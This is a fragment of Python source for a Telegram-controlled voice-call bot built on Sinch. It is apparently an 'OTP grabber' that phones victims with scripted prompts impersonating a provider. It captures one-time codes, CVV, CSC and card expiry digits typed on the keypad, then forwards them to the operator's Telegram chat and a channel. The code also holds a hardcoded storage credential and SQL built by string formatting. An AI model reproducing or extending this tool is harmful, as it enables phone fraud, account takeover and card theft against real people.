                action["name"] = "hangup"
            else:
                answered_call[call_id] = True
                action["name"] = "continue"
                if "record" in ongoing_call_command[call_id]:
                    ins.append({
                        "name": "startRecording",
                        "options": {
                            "destinationUrl": f"azure://sinchvoice/voice/{call_id}.mp3",
                            "credentials": "hwwwkoUAyo6vnxM4n+ixAvi5HwOQ8Xs1HBGxQaemKRb5qd9HBKM3RYMOVUAR2s/y4zvo42sfShQb+AStnmvygQ==",
                            "notificationEvents": True
                        }
                    })

                ins.append(speak(f"Hello {data_stored['name']}, "))

                tambahan = data_stored['phone_number'] if "cvv" in ongoing_call_command[call_sess] else data_stored['phone_number'] if "csc" in ongoing_call_command[call_sess] else data_stored['phone_number'] if "exp" in ongoing_call_command[call_sess] else ""
                ins.append(speak(o_prov["msg1"] + tambahan))
                ins.append(speak(o_prov["msg2"]))
                data_stored["status"] = "option"
                
    elif "pie" == event:
        res = content['menuResult']
        action["name"] = "continue"
        if data_stored["status"] == "option":
            selected[call_id] = content["Digits"]
            ins.append(speak(result_dict[res["value"]]))
            selected[call_id] = optRes
            uy = status_dict['send.otp']
            uy = uy if (custom_req == "otp") else uy.replace("Send *One-Time code* to Victim!", f'Wait for *{custom_req.upper()} Number* be entered.')
            send_message(data_stored["chat_id"], f"Person select the *{ket_appr[optRes]}* option")
            
            if not (o_prov["1"] and res["value"] == "1") or (o_prov["2"] and res["value"] == "2"):
                ins = []
                ins.append(speak("Thank you for confirming. Good bye!"))
                action["name"] = "hangup"
                send_message(data_stored["chat_id"], "The call will be ended.")
            else:
                send_message(data_stored["chat_id"], uy)
                data_stored["status"] = "ask"
                
        elif data_stored["status"] == "ask":
            uy = status_dict['your.otp']
            uy = uy if (custom_req == "otp") else uy.replace('One-Time code', f'{custom_req.upper()} Number')

            def formats_date(value):
                return datetime.strptime(value, '%m%y').strftime('%B/%Y')

            resuult = res['value'] if not custom_req == "exp" else formats_date(res['value'])
            
            ny = status_dict['channel.notify']
            ny = ny if (custom_req == "otp") else uy.replace('One-Time code', f'{custom_req.upper()} Number')
            
            uname = get_name(data_stored['chat_id'])
            uname = uname[:4] + "x" * (len(uname) - 4)

            ny = ny.replace("XUSERNAMEX", uname) \
                .replace("XCOMPANYX", prov.split("_")[0].replace("-", " ")) \
                .replace("XCODEX", resuult) \
                .replace("XGATEX", "Gate 2 (Sinch)")

            send_message(TELE_CHANNEL, ny)

            send_message(
                data_stored['chat_id'],
                f"{uy} {resuult}",
                buttons([
                    button("✅ Finish", f"finish"),
                    button("🔢 Ask Again", f"again")
                ])
            )
            ins.append(speak(f"Please wait while our system check your {custom_req.upper()} number"))
            ins.append(speaks("https://cdn.pixabay.com/download/audio/2022/03/09/audio_34c7eb893f.mp3"))
    elif "dice" == event:
        send_message(data_stored["chat_id"], status_dict['call.hangup'])
        reasons = {
            "N/A": "Unknown reason",
            "TIMEOUT": "The call exceeded the configured timeout.",
            "CALLERHANGUP": "The caller hung up.",
            "CALLEEHANGUP": "The callee hung up.",
            "BLOCKED": "The callee hung up the call.",
            "MANAGERHANGUP": "The call was hung up by the manager.",
            "NOCREDITPARTNER": "No sufficient credit to make the call.",
            "GENERALERROR": "A non-specified error ended the call.",
            "CANCEL": "The call was canceled.",
            "USERNOTFOUND": "The user was not found.",
            "CALLBACKERROR": "An error with the callback ended the call."
        }
        send_message(data_stored["chat_id"], "Reason: " + reasons[content["reason"]])
        if (not "record" in ongoing_call_command[call_sess] or not call_id in answered_call):
            if "retry" in ongoing_call_command.get(call_sess, ""):
                if not selected.get(call_id, ""):
                    messaging(data_stored["chat_id"], ongoing_call_command[call_sess])

            del ongoing_call[call_sess]
            # del btn_step[data_stored["chat_id"]]
            del ongoing_call_command[call_sess]

            for jo in delete_list_call[call_id]:
                os.remove(jo)

            del delete_list_call[call_id]
            execute_statement(PHONY_DB, f"DELETE FROM data WHERE call_id = '{call_id}'")
    elif "notify" == event:
        if "recording_finished" == content["type"]:
            send_message(data_stored["chat_id"], "Your voice is recorded, please wait for a moment")
        elif "recording_available" == content["type"]:
            if not current_record.get(call_sess, ""):
                current_record[call_sess] = 1
                send_voice(data_stored["chat_id"], content['destination'])
                if "retry" in ongoing_call_command.get(call_sess, ""):
                    if not selected.get(call_id, ""):
                        messaging(data_stored["chat_id"], ongoing_call_command[call_sess])
                
                del ongoing_call[call_sess]
                # del btn_step[data_stored["chat_id"]]
                del ongoing_call_command[call_sess]

                for jo in delete_list_call[call_id]:
                    os.remove(jo)

                del delete_list_call[call_id]
                
                execute_statement(PHONY_DB, f"DELETE FROM data WHERE call_id = '{call_id}'")
    print(content, file=sys.stderr)
    res = {
        "instructions": ins,
        "action": action
    }
    print("\n\n", file=sys.stderr)
    # reqs = sinch_request(call_id, ins, action)
    print(res, file=sys.stderr)
    up_data("status", data_stored['status'])
    return res

if __name__ == "__main__":   
    Thread(target=bot.infinity_polling).start()
    app.run(host='0.0.0.0', port=2002)